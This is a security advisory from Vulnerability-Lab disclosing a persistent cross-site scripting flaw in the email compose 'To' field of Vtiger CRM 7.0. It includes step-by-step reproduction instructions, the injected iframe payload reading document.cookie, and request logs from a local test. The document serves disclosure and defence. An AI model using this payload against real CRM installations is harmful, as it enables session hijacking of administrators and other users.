Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

Vtiger CRM version 7.0 suffers from a persistent cross site scripting vulnerability.

Document Title:
===============
VTiger v7.0 CRM - (To) Persistent Email Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2227


Release Date:
=============
2020-11-18


Vulnerability Laboratory ID (VL-ID):
====================================
2227


Common Vulnerability Scoring System:
====================================
4.8


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Vtiger CRM is web-application built using PHP. Choose the best CRM for
your business. Custom Module & Relationship builder for
VTiger is a very useful extension that allows crm administrators to
create custom modules within few clicks. All custom modules
are created following strict VTiger standards. In addition, the
relationship builder allows crm admin to link together existing modules
as well as new custom modules.

(Copy of the Homepage:
https://www.vtiger.com/open-source-crm/download-open-source/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent
cross site vulnerability in the VTiger v7.0 CRM open-source web-application.


Affected Product(s):
====================
VTExperts
Product: VTiger v7.0 - CRM (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-04-27: Public Disclosure (Vulnerability Laboratory)
2020-04-28: Researcher Notification & Coordination (Security Researcher)
2020-04-29: Vendor Notification 1 (Security Department)
2020-05-30: Vendor Notification 2 (Security Department)
2020-06-22: Vendor Notification 3 (Security Department)
****-**-**: Vendor Response/Feedback (Security Department)
****-**-**: Vendor Fix/Patch (Service Developer Team)
****-**-**: Security Acknowledgements (Security Department)
2020-11-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official VTiger v7.0 CRM open-source web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent cross site scripting web vulnerability is located in the
`searchValue` Parameter of the `Emails Compose` module.
Attackers are able to inject own mlicious script code in the `To` sender
input field of the email compose module to attack other
user accounts. The email can be delivered with multiple receipients
which allows an attacker to insert the target email and a
malicious payload. The request method to inject is GET via searchValue
and POST on compose with persistent attack vector.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.

Request Method(s):
[+] POST
[+] GET

Vulnerable Module(s):
[+] Email Compose (index.php?module=Emails)

Vulnerable Input(s):
[+] To (Sender - Email)


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by
remote attackers with low privileged account and with low user interaction.
For security demonstration or to reproduce the cross site web
vulnerability follow the provided information and steps below to continue.


PoC: Url
http://localhost:8080/vtigercrm/index.php?module=Vendors&relatedModule=Emails&view=Detail&record=3883&mode=showRelatedList&relationId=62&tab_label=Emails&app=INVENTORY#


Manual steps to reproduce the vulnerability ...
1. Open the web-application ui
2. Login with a regular user role to the ui
3. Open vendors and move to compose to email form
4. Inject malicious payload as "to" sender information and as well a
valid email to target
5. Send the request after the compose
6. Wait until the administrator or higher privileged targeted users
click in the email or receives the email on preview
7. Successful reproduce of the cross site scripting web vulnerability!


PoC: Vulnerable Source (Execution Point)
<div class="col-lg-12"><div class="col-lg-2"><span
class="pull-right">To&nbsp;<span class="redColor">*</span></span></div>
<div class="col-lg-6"><div class="select2-container
select2-container-multi autoComplete sourceField select2"
id="s2id_emailField" style="width: 100%;"><ul class="select2-choices
ui-sortable"> <li class="select2-search-choice">
<div>IT <b>([email protected])</b></div> <a href="#"
class="select2-search-choice-close" tabindex="-1"></a></li>
<li class="select2-search-choice"><div><iframe src"evil.source"
onload=alert(document.cookie)></div></iframe></div>


--- PoC Session Logs [GET] ---
http://localhost:8080/vtigercrm/index.php?module=Emails&action=BasicAjax&searchValue=>"<iframe+src%3Da+onload%3Dalert(document.cookie)>&_=1587844428851
Host: localhost:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer:
http://localhost:8080/vtigercrm/index.php?module=Vendors&relatedModule=Emails&view=Detail&record=3883&mode=showRelatedList&relationId=62&tab_label=Emails&app=INVENTORY
Cookie: PHPSESSID=ni2357om9nni5vvhovf20rkt51
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.10 (Debian)
Content-Length: 28
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
-
Content-Type: text/json; charset=UTF-8
http://localhost:8080/vtigercrm/evil.source
Host: localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:
http://localhost:8080/vtigercrm/index.php?module=Vendors&relatedModule=Emails&view=Detail&record=3883&mode=showRelatedList&relationId=62&tab_label=Emails&app=INVENTORY
Cookie: PHPSESSID=ni2357om9nni5vvhovf20rkt51
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.10
Content-Length: 299
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1


Reference(s):
http://localhost:8080/vtigercrm/
http://localhost:8080/vtigercrm/index.php
http://localhost:8080/vtigercrm/index.php?module=Emails&action=BasicAjax&searchValue=


Security Risk:
==============
The security risk of the persistent web vulnerability i the
web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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